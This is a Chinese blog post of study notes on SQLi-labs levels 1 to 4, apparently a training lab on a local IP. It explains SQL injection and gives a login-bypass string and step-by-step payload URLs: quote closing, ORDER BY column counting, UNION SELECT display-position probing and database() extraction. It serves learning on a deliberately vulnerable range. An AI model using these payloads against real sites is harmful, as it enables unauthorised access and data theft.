SQL-lab 1-4关

SQL注入原理

语言分类

1.解释型语言

2.编译型语言

解释型语言,若程序与用户进行交互时。用户就可以构造特殊的输入来拼接到程序中执行,从而使得程序依据用户输入执行有可能存在恶意行为的代码。

万能密码(绕过用户名和密码)

用户名:admin'or1=1-- (单行注释后必须有空格)

密码:随意就可以

cms逻辑:index.php首页展示内容,具有文章列表(l链接具有文章id ),articles.php文章详细页,URL中article.php?id=文章id读取文章id

sql注入验证:

1.单引号‘

2.and1=1

3.and1=2

如果页面中Mysql报错,证明该页面存在SQL注入漏洞

靶场地址 http://192.168.100.128/sql-lab/

第一关靶场

Less-1

http://192.168.100.128/sql-lab/Less-1/

判断是否被当做代码执行 http://192.168.100.128/sql-lab/Less-1/?id=1%20and%201=2 (and1=1)

尝试一下闭合

http://192.168.100.128/sql-lab/Less-1/?id=1%20%27and%201=1%20--%20q 没问题

http://192.168.100.128/sql-lab/Less-1/?id=1%20%27and%201=2%20--%20q 有问题 页面异常 说明之间存在SQL注入

接下来找当前的字段数

http://192.168.100.128/sql-lab/Less-1/?id=1%20%27order%20by%201%20--%20q order by 1正常

Order by 1 2 3均正常

http://192.168.100.128/sql-lab/Less-1/?id=1%20%27order%20by%204%20--%20q order by 4 异常

说明存在三个字段

接下来判断显错位,使用联合查询

http://192.168.100.128/sql-lab/Less-1/?id=1%20%27union%20select%201,2,3%20--%20q 依然没有问题 是因为查询结果显示在了前面,所以没有显示联合查询的结果

现在将前面的id更换为100,100处没有前面的结果,所以将显示联合查询的结果

http://192.168.100.128/sql-lab/Less-1/?id=100%20%27union%20select%2011,22,33%20--%20q 这样显示22和33,22和33是(显错位)的意思

http://192.168.100.128/sql-lab/Less-1/?id=100%20%27union%20select%2011,database(),33%20--%20q

显示 Security(当前数据库的库名)用database()来获取库名

来自 <http://192.168.100.128/sql-lab/Less-1/?id=100%20%27union%20select%2011,database(),33%20--%20q>

table_name查询表名

建议用 一个一个查,尽量不用 group_concat 函数 因为显示位数不够可能导致无法显示完整

第三关靶场

http://192.168.100.128/sql-lab/Less-3/?id=1%27)%20and%201=2%20--%20q

实战中多尝试闭合 ‘) “)1=1 1=2 组合尝试

其他操作大致相同

 

posted @   月上藤萝  阅读(35)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】
点击右上角即可分享
微信分享提示